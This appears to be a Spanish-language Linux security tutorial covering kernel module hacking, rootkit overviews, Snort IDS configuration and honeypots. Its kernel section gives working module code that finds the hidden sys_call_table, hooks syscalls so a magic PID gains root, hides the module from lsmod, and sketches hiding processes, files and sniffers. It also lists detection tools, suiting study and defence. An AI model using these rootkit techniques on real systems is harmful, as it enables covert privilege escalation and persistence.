acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
